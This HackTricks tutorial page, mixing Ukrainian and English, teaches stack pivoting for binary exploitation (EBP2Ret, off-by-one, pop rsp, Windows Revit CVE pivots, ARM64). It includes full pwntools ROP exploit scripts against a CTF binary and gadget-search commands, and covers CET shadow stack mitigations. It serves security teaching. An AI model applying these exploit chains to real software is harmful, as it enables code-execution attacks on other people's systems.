Stack Pivoting

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

Ця техніка експлуатує можливість маніпулювати Base Pointer (EBP/RBP) для ланцюжного виконання кількох функцій шляхом обережного використання frame pointer та послідовності інструкцій leave; ret.

Нагадаємо, на x86/x86-64 інструкція leave еквівалентна:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86

А оскільки збережений EBP/RBP знаходиться в стеку перед збереженим EIP/RIP, його можна контролювати, контролюючи стек.

Примітки

  • На 64-bit замініть EBP→RBP та ESP→RSP. Семантика та сама.
  • Деякі компілятори опускають frame pointer (див. “EBP might not be used”). У такому випадку leave може не з’явитися і ця техніка не спрацює.

EBP2Ret

This technique is particularly useful when you can alter the saved EBP/RBP but have no direct way to change EIP/RIP. It leverages the function epilogue behavior.

If, during fvuln’s execution, you manage to inject a fake EBP in the stack that points to an area in memory where your shellcode/ROP chain address is located (plus 8 bytes on amd64 / 4 bytes on x86 to account for the pop), you can indirectly control RIP. As the function returns, leave sets RSP to the crafted location and the subsequent pop rbp decreases RSP, effectively making it point to an address stored by the attacker there. Then ret will use that address.

Note how you need to know 2 addresses: the address where ESP/RSP is going to go, and the value stored at that address that ret will consume.

Побудова експлойту

Спочатку потрібно знати адресу, куди ви можете записати довільні дані/адреси. RSP вкаже сюди і виконає перший ret.

Далі, вам потрібно вибрати адресу, яку ret використає для перехіду виконання. Ви можете використати:

  • Дійсну ONE_GADGET адресу.
  • Адресу system() з наступним відповідним return та аргументами (на x86: ret target = &system, потім 4 зайві байти, потім &"/bin/sh").
  • Адресу гаджета jmp esp; (ret2esp) з наступним inline shellcode.
  • ROP chain, розміщений у записуваній пам’яті.

Пам’ятайте, що перед будь-якою з цих адрес у контрольованій області має бути місце для pop ebp/rbp від leave (8B на amd64, 4B на x86). Ви можете використати ці байти, щоб встановити другий fake EBP і зберегти контроль після повернення першого виклику.

Off-By-One Exploit

There’s a variant used when you can only modify the least significant byte of the saved EBP/RBP. In such a case, the memory location storing the address to jump to with ret must share the first three/five bytes with the original EBP/RBP so a 1-byte overwrite can redirect it. Usually the low byte (offset 0x00) is increased to jump as far as possible within a nearby page/aligned region.

It’s also common to use a RET sled in the stack and put the real ROP chain at the end to make it more probable that the new RSP points inside the sled and the final ROP chain is executed.

EBP Chaining

By placing a controlled address in the saved EBP slot of the stack and a leave; ret gadget in EIP/RIP, it’s possible to move ESP/RSP to an attacker-controlled address.

Тепер RSP контролюється, і наступною інструкцією є ret. Розмістіть у контрольованій пам’яті щось на кшталт:

  • &(next fake EBP) -> Завантажується pop ebp/rbp з leave.
  • &system() -> Викликається ret.
  • &(leave;ret) -> Після завершення system переміщує RSP до наступного fake EBP і продовжує.
  • &("/bin/sh") -> Аргумент для system.

Таким чином можна ланцюжити кілька fake EBP, щоб контролювати потік виконання програми.

This is like a ret2lib, but more complex and only useful in edge-cases.

Moreover, here you have an example of a challenge that uses this technique with a stack leak to call a winning function. This is the final payload from the page:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 alignment tip: System V ABI вимагає 16-байтового вирівнювання стеку в місцях виклику. Якщо ваш chain викликає функції на кшталт system, додайте alignment gadget (наприклад, ret, або sub rsp, 8 ; ret) перед викликом, щоб підтримати вирівнювання і уникнути падінь через movaps.

EBP може не використовуватися

As explained in this post, якщо бінарник скомпільовано з певними оптимізаціями або з frame-pointer omission, то EBP/RBP ніколи не контролює ESP/RSP. Тому будь-який експлоіт, що працює шляхом контролю EBP/RBP, зазнає невдачі, оскільки пролог/епілог не відновлює зі frame pointer.

  • Не оптимізовано / frame pointer використовується:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Оптимізовано / frame pointer опущено:
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

On amd64 ви часто побачите pop rbp ; ret замість leave ; ret, але якщо вказівник кадру повністю опущено, то немає rbp-залежного епілогу, через який можна виконати pivot.

Інші способи контролю RSP

pop rsp gadget

In this page ви можете знайти приклад, що використовує цю техніку. Для тієї задачі потрібно було викликати функцію з 2 конкретними аргументами; був присутній pop rsp gadget і мався leak from the stack:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Перегляньте техніку ret2esp тут:

Ret2esp / Ret2reg

Швидкий пошук pivot gadgets

Використовуйте ваш улюблений gadget finder для пошуку класичних pivot primitives:

  • leave ; ret on functions or in libraries
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (or add esp, <imm> ; ret on x86)

Приклади:

# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Classic pivot staging pattern

Надійна pivot strategy, яку використовують у багатьох CTFs/exploits:

  1. Використовуйте невеликий початковий overflow, щоб викликати read/recv в великий записуваний регіон (наприклад, .bss, heap, або mapped RW memory) і розмістити там повний ROP chain.
  2. Повернутися в pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret), щоб перемістити RSP у цей регіон.
  3. Продовжити зі staged chain (наприклад, leak libc, викликати mprotect, потім read shellcode, а потім перейти до нього).

Windows: Destructor-loop weird-machine pivots (Revit RFA case study)

Парсери на боці клієнта іноді реалізують destructor loops, які опосередковано викликають function pointer, отриманий із attacker-controlled object fields. Якщо кожна ітерація пропонує рівно один indirect call (a “one-gadget” machine), ви можете перетворити це на надійний stack pivot і ROP entry.

Спостерігалось в Autodesk Revit RFA deserialization (CVE-2025-5037):

  • Сконструйовані об’єкти типу AString розміщують вказівник на attacker bytes на offset 0.
  • Деструкторний цикл фактично виконує по one gadget на об’єкт:
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Два практичні pivots:

  • Windows 10 (32-bit heap addrs): невирівняний “monster gadget”, який містить 8B E0mov esp, eax, врешті ret, щоб здійснити pivot з call-примітива в heap-based ROP chain.
  • Windows 11 (full 64-bit addrs): використати два об’єкти для керування обмеженим weird-machine pivot:
  • Gadget 1: push rax ; pop rbp ; ret (перемістити початковий rax у rbp)
  • Gadget 2: leave ; ... ; ret (стає mov rsp, rbp ; pop rbp ; ret), що pivot-ить у буфер першого об’єкта, де слідує звичайний ROP chain.

Поради для Windows x64 після pivot:

  • Дотримуйтеся 0x20-байтового shadow space і підтримуйте 16-байтове вирівнювання перед call sites. Часто зручно розміщувати літерали над адресою повернення і використовувати гаджет на кшталт lea rcx, [rsp+0x20] ; call rax, після якого йде pop rax ; ret, щоб передавати адреси стеку без пошкодження контролю виконання.
  • Non-ASLR helper modules (якщо присутні) забезпечують стабільні набори гаджетів і імпорти, такі як LoadLibraryW/GetProcAddress, для динамічного розв’язання цілей на кшталт ucrtbase!system.
  • Створення відсутніх гаджетів через writable thunk: якщо перспективна послідовність закінчується call через writable function pointer (наприклад, DLL import thunk або function pointer у .data), перепишіть цей вказівник на нешкідливий однокроковий gadget типу pop rax ; ret. Тоді послідовність поводитиметься так, ніби вона завершувалась ret (наприклад, mov rdx, rsi ; mov rcx, rdi ; ret), що безцінно для завантаження Windows x64 регістрів аргументів без пошкодження інших регістрів.

Для повного побудови chain та прикладів гаджетів дивіться референс нижче.

Сучасні mitigations, що ламають stack pivoting (CET/Shadow Stack)

Modern x86 CPUs and OSes increasingly deploy CET Shadow Stack (SHSTK). With SHSTK enabled, ret compares the return address on the normal stack with a hardware-protected shadow stack; any mismatch raises a Control-Protection fault and kills the process. Therefore, techniques like EBP2Ret/leave;ret-based pivots will crash as soon as the first ret is executed from a pivoted stack.

  • For background and deeper details see:

CET & Shadow Stack

  • Швидкі перевірки на Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Примітки для лабораторій/CTF:

  • Деякі сучасні дистрибутиви вмикають SHSTK для CET-enabled бінарників, якщо апаратна підтримка та glibc присутні. Для контрольованого тестування у VMs, SHSTK можна вимкнути системно через параметр завантаження ядра nousershstk, або вибірково вмикати через glibc tunables під час старту (див. references). Не вимикайте mitigations на production-цілях.

  • JOP/COOP або SROP-based техніки можуть бути все ще життєздатні на деяких цілях, але SHSTK спеціально ламає ret-based pivots.

  • Windows note: Windows 10+ відкриває user-mode, а Windows 11 додає kernel-mode “Hardware-enforced Stack Protection”, побудований на shadow stacks. CET-compatible процеси запобігають stack pivoting/ROP на ret; розробники підключають це через CETCOMPAT та суміжні політики (див. reference).

ARM64

У ARM64, пролог і епілоги функцій не зберігають і не відновлюють регістр SP у стеку. Більше того, інструкція RET повертає не за адресою, на яку вказує SP, а за адресою, що міститься в x30.

Тому за замовчуванням, просто зловживаючи епілогом, ви не зможете контролювати регістр SP шляхом перезапису якихось даних у стеку. І навіть якщо вам вдасться контролювати SP, вам все одно потрібно буде знайти спосіб контролювати регістр x30.

  • prologue
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Caution

Спосіб виконати щось подібне до stack pivoting в ARM64 — це мати можливість контролювати SP (наприклад, контролюючи якийсь регістр, значення якого передається в SP, або через те, що з якоїсь причини SP бере свою адресу зі стеку і ми маємо overflow), а потім зловживати епілогом, щоб завантажити регістр x30 з контрольованого SP та виконати RET на нього.

Also in the following page you can see the equivalent of Ret2esp in ARM64:

Ret2esp / Ret2reg

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks